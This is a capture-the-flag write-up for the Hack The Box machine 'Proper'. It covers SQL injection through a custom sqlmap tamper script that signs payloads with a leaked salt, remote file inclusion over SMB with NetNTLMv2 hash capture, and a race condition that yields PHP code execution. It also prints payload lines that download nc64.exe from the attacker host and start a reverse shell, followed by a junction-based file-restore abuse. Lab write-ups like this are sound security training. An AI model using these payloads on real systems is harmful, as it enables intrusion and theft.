Proper — Hack The Box writeup

kshitij kumar
8 min readJun 1, 2021

Information Gathering

Let’s start with a Nmap probe to establish the open ports in the host…

Nmap scan

Only one open port? This shit gonna be hard!!

So there’s a website running on port 80…

website

This is what the website looks like…

Directory/File Enumeration

Let’s see what wfuzz and SecLists has to offer…

wfuzz scan

Licenses

I wonder what this is about?

/licenses

In any case, let’s keep this in view first while we check out other information...

Usernames

I thought I saw some very interesting HTML IDs when I was looking at the HTML source code…

Usernames, I thought I saw some very interesting HTML IDs when I was looking at the HTML source code. Doesn’t that look like a username? Wait, there’s more….

And this…

Salt

Interestingly, if either parameter (order or h) from the above relative URL is missing, I get the following, what looks like an error message.

From the message, a salt of some kind is exposed. I wonder where does the salt fit in?

John the Ripper

Could the MD5 hash ‘a1b30d31d344a5a4e41e8496ccbdd26b’ be the MD5 digest of the salt combined in some way with the value in the order parameter? To confirm I came up with the following wordlist, in combination with John the Ripper….

id+desc

id%20desc

id desc

These are the dynamic formats in JtR involving MD5…

For a start, I’m going with the dynamic format dynamic_1 (md5($p.$s)) and dynamic_4 (md5($s.$p)). The only difference is that the salt $s is appended for one, and prepended for the other.The hash must be made available to JtR in the following format :-

<hash>$<salt>

hash

a1b30d31d344a5a4e41e8496ccbdd26b$hie0shah6ooNoim

So, the salt is prepended to the value in the order parameter. I see now…

Database Enumeration with sqlmap

I took help from my friend and wrote the following sqlmap tamper script to enumerate the database.

#!/usr/bin/env python

import os
import string
from hashlib import md5
from urllib.parse import quote_plus
from lib.core.enums import PRIORITY

__priority__=PRIORITY.NORMAL

deftamper(payload,**kwargs):
‘’’ Custom tamper script for Proper ‘’’
salt = b”hie0shah6ooNoim”
h = md5(salt+payload.encode()).hexdigest()
retVal=”%s&h=%s”%(quote_plus(payload),h)
returnretVal

Because I’m tampering the payload and injecting it onto another parameter,I need to use — skip-urlencode switch when detecting the injection technique like so….

Databases

Tables

Table — customers

Table — licenses

I’ll skip this table for some reason (totally frustrated with kali)…

Table — products

Licensing Portal

Using any of the credentials above should log you in the Licensing Portal….

I’m seeing something familiar in the HTML source code.

Suppose I put ‘..’ as the theme and generate the corresponding hash, this is what I get…

Remote File Inclusion

It appears that the theme parameter is trying to read header.inc

I wrote the following shell script to facilitate testing of the theme parameter and the generation of the hash value in h, driven solely by curl…

Here is the link for that bash script ‘read.sh

Looks like the theme parameter may be susceptible to remote file inclusion(RFI) vulnerability. Suppose we set up a Python http.server. Let’s see what gives.

./read.sh ‘http://10.10.14.73

Ah, the http:// wrapper is disabled! Let’s try SMB, shall we?

/read.sh ‘//10.10.14.73’

Let’s set up a fake SMB server with Impacket’s smbserver.py without any credentials, and then request again to see what happens…

Here, we have PROPER\web authenticating to us with a NetNTLMv2 hash,which can be easily cracked with JtR shown below…

Now, we can set up smbserver.py with credentials and an emptyheader.inc to simulate an actual SMB share..

Race Condition

If you look at the debug messages in green above, you’ll notice the race condition vulnerability between strpos and include. Suppose we can modify header.inc in real time, we may be able to get include to execute our PHP code.

To that end, I wrote the following shell script to modify header.inc in real time.

Let’s run the race with <?php phpinfo(); ?> as the payload and this request.

Bingo!

Foothold

Once we have the ability to execute PHP code remotely, we can devise away to get a reverse shell. I’m going with transfer nc64.exe over to one of the world-writable folders in Windows and run a reverse shell back tome like so.

./race.sh ‘<?php system(“cmd /c powershell iwr http://10.10.14.73/nc64.exe -outf \win

And then run the reverse shell with nc64.exe

./race.sh ‘<?php system(“cmd /c start \windows\system32\spool\drivers\color\cute.exe

Voila!

The file user.txt is at web’s Desktop.

Privilege Escalation

During enumeration of web’s account, I notice the presence of Cleanup folder in C:\Program Files and in it, three files…

There’s also a Cleanup folder in C:\ProgramData with no files in it.

Reversing client.exe and server.exe

Turns out both binaries are PE executables built with Golang, with the tell-tale sign of an unusually large size for a PE executable and this….

Analysis of client.exe

Reverse engineering of client.exe shows the need to supply an argument in order to “make it do something”.

You can see from above that by supplying a -R and a file path triggers the main_service Restore function which in turn calls upon a named pipe client to connect to a named pipe, cleanup Pipe…

Further down the control flow graph, this is what’s actually sent across the named pipe.

Analysis of server.exe

Suppose we replicate the behaviors of client.exe and server.exe in a Windows 10 installation. This is what we have determined above.

This is what’s displayed in server.exe

Hmm, where have I seen C:\ProgramData\Cleanup before? By the way,dGVzdA== is the base64-encoded string of test. On top of that, this isevidence that a named pipe, cleanup Pipe is listening for data…

We can send our own data to server.exe with good ol’ command prompt using the echo command like so…

Meanwhile in server.exe, I see this…

Something’s not right. One character is truncated. In any case, all I have to do is to add one more character behind the path. Well, this is what happened. CLEAN removes the file specified in the file path and move it toC:\ProgramData\Cleanup\<base64-encoded file path> and its contentencrypted with AES-GCM

Conversely, RESTORE restores the file back to the original file path by decrypting the file contents and decoding the file path.

Getting root.txt

This gives me an idea. What if we create a symbolic link to C:\Users\Administrator\Desktop, do a CLEAN on that symbolic link + root.txt. This will back up the file at C:\ProgramData\Cleanup. Remove the link and create a real folder and then do a RESTORE. Maybe RESTORE will do us a favor and write the contents of root.txt to that folder and we can simply read the file?

Create directory junction

CLEAN

Remove directory junction and create a real folder

RESTORE

Afterthought

One of my friend told me that privilege escalation is possible from an arbitrary file write. Indeed, WerTrigger is one such local privilege escalation exploit weaponizing arbitrary file writes using Windows problem reporting framework among others such as UsoDLL Loader and DiagHub.

And there you have it….

Thanks for reading… Hope you understand it…

Note :- You can see many changes above like as i have switched to root user, screen shots are not clear and so on…. coz i don’t why my kali linux sucks i use kali linux with windows 10 (dual boot) and my laptop have only 4 GB of ram and 1tb HDD.

For any queries just dm me on instagram @ig._.anshu

--

--